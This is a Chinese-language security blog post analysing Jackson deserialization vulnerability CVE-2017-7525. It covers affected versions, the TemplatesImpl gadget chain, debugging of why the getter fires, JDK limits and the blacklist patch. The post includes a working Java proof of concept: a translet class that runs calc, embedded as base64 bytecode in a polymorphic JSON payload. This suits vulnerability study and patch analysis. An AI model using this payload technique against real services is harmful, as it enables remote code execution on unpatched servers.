Jackson 反序列化(二)CVE-2017-7525
Drunkbaby Lv6

基于 TemplatesImpl 利用链

0x01 影响版本

Jackson 2.6 系列 < 2.6.7.1
Jackson 2.7 系列 < 2.7.9.1
Jackson 2.8 系列 < 2.8.8.1

0x02 限制

由于是打的 TemplatesImpl 链,所以要求 JDK 版本是 7u21 或者 8u20,动态代理相关的链子,这部分之前已经分析过了

0x03 漏洞复现

Test.java

1
2
3
public class Test {  
public Object object;
}

SimpleCalc. java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class SimpleCalc extends AbstractTranslet {  
public SimpleCalc() throws Exception {
Runtime.getRuntime().exec("Calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

PoC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class PoC {  
public static void main(String[] args) throws Exception {
String exp = readClassStr("E:\\evilClass\\SimpleCalc.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'drun1baby',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Test test;
try {
test = mapper.readValue(jsonInput, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws Exception{

File file = new File(cls);
FileInputStream fileInputStream = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fileInputStream.read(bytes);
String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
return base64Encoded;
}
}

其实这里看完代码之后马上就有一个问题:Jackson 是调用任意的构造函数与任意的 setter 方法,为什么会触发这条链子呢?

7u21 这条链子本质上其实是 TemplateImpl 类的类动态加载,配合上动态代理来打的,可是这里不论是动态代理,还是 TemplatesImpl.getOutputProperties(),都和 Jackson 没关系。所以这里可以说是非常疑惑了

0x04 漏洞分析

下断点调试

首先是第一次到 com.fasterxml.jackson.databind.deser.BeanDeserializer#deserialize 方法,反序列化 Test 类,会走到其构造函数里面,并且继续处理 object

继续往下,下一步是反序列化 object 里面的数据。

这里可以看到 _beanProperties 属性,其中包含了哪些呢?

1
Properties=[uriresolver([simple type, class javax.xml.transform.URIResolver]), transletBytecodes([array type, component type: [array type, component type: [simple type, class byte %}]), stylesheetDOM([simple type, class com.sun.org.apache.xalan.internal.xsltc.DOM]), transletName([simple type, class java.lang.String]), outputProperties([map type; class java.util.Properties, [simple type, class java.lang.String] -> [simple type, class java.lang.String %})]

除了 setter 函数中的属性之外,还有 outputProperties,为什么 outputProperties 会被拿到呢?因为 outputProperties 属性有相应的 getter 方法,而其他属性却没有

接着来看看对于 outputProperties 是怎么处理的

outputProperties 属性在 deserializeAndSet() 函数中是通过反射机制调用它的 getter 方法,这就是该利用链能被成功触发的原因

这里也指出了一条攻击利用手法,也就是只要构造函数中存在的属性,不存在 setter 方法时,都会自动调到 getter 方法。

从而就能够利用成功了。

后续就是最基础的 TemplatesImpl 动态加载字节码的过程,不再展开了

0x05 其他细节

高版本 JDK 不能触发的原因—— _tfactory

在大版本下,JDK1.7 和 1.8 中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类是有所不同的。

当然,在小版本较高的 1.7 和某些 1.8 的还是能够成功触发的,具体的可自行测试。

区别在于新建 TransletClassLoader 类实例的代码,其中调用了 _factory 属性,但是该属性值我们没有在 PoC 中设置,默认为 null,于是就会抛出异常了。

而 Jackson 也是无法设置 _tfactory 的,因为 _tfactory 在原本的 TemplatesImpl 类中都没有 getter 或 setter 方法,这就拿不到了。

0x06 补丁分析

这里将 jackson-databind-2.7.9 换成 jackson-databind-2.7.9.1。
尝试运行会报错如下,显示因为某些安全原因禁止了该类的加载:

调试分析,在调用 BeanDeserializerFactory.createBeanDeserializer() 函数创建 Bean 反序列化器的时候,其中会调用 checkIllegalTypes() 函数提取当前类名,然后使用黑名单进行过滤:

Ref

http://www.mi1k7ea.com/2019/11/16/Jackson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%94CVE-2017-7525%EF%BC%88%E5%9F%BA%E4%BA%8ETemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

 评论